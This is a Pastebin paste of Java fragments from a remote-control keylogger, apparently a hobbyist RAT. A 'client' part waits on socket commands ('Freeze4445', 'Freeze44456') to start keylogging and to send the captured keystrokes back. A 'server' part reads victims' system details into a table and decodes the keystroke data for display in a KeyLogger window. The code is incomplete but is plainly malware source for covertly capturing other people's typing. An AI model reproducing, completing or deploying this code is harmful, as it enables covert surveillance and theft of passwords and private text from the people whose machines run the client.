Guest User

Untitled

a guest
Aug 22nd, 2012
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.22 KB | None | 0 0
  1. while ((Client.f = in.readLine()) != null) {
  2. if(f.equals("Freeze44456"))
  3. {
  4. PrintWriter out3=null;
  5. out3 = new PrintWriter(s.getOutputStream(),true);
  6. out3.println("<pre class="+KeyLogged+"</pre>");
  7. out3.checkError();
  8. keylogg=false;
  9. }else
  10. if(f.equals("Freeze4445"))
  11. {
  12. keylogg=true;
  13. }
  14.  
  15.  
  16. // that is the client ^^..
  17.  
  18.  
  19.  
  20.  
  21.  
  22. This is the server---
  23.  
  24.  
  25.  
  26. inFromClient = new BufferedReader(new InputStreamReader(sock.getInputStream()));
  27. // sendTextMessage("OSINFO");
  28.  
  29.  
  30. while(true){
  31.  
  32.  
  33.  
  34.  
  35. for(int o=0; o<=15;o++){
  36.  
  37. System.err.println(Info[o]=inFromClient.readLine());
  38.  
  39.  
  40. for(int j =0 ; j<connection.size(); j++){
  41. model.setValueAt(Info[0], j, 0);
  42.  
  43. }
  44. for(int x =0; x<connection.size();x++)
  45. {
  46. //BufferedImage img = ImageIO.read(new URL(CountryFlag));
  47. model.setValueAt(Info[1],x, 1);
  48. jTable1.setRowHeight(22);
  49.  
  50.  
  51. }
  52.  
  53. for(int e =0; e<connection.size();e++)
  54. {
  55. model.setValueAt(Info[2],e,2);
  56.  
  57. }
  58.  
  59. for(int u=0 ; u<connection.size() ;u++)
  60. {
  61. model.setValueAt(Info[3],u,3);
  62. //somehow to make it to take different variables :P
  63. }
  64. if(Info[o].contains("<pre class="))
  65. {
  66. String [] f34;
  67. f34 = Info[o].split("=");
  68. KeyLogger f = new KeyLogger();
  69. String g = f34[1];
  70. g= g.replaceAll("</pre>","");
  71.  
  72. if(g.contains("BackSpace"))
  73. {
  74. g = g.replaceAll("BackSpace"," ");
  75.  
  76. }else
  77. if(g.contains("Enter"))
  78. {
  79. g = g.replaceAll("Enter","\n");
  80. }else
  81. if(g.contains("Shift"))
  82. {
  83. g = g.replaceAll("Shift"," ");
  84. }else
  85. if(g.contains("Semicolomn"))
  86. {
  87. g = g.replaceAll(":"," ");
  88.  
  89. }else
  90. if(g.contains("Period")){
  91. g=g.replaceAll("Period",".");
  92. }
  93. new KeyLogger().setVisible(true);
  94.  
  95. f.jTextArea1.append(g);
  96. }
  97. }
  98.  
  99. }
Advertisement
Add Comment
Please, Sign In to add comment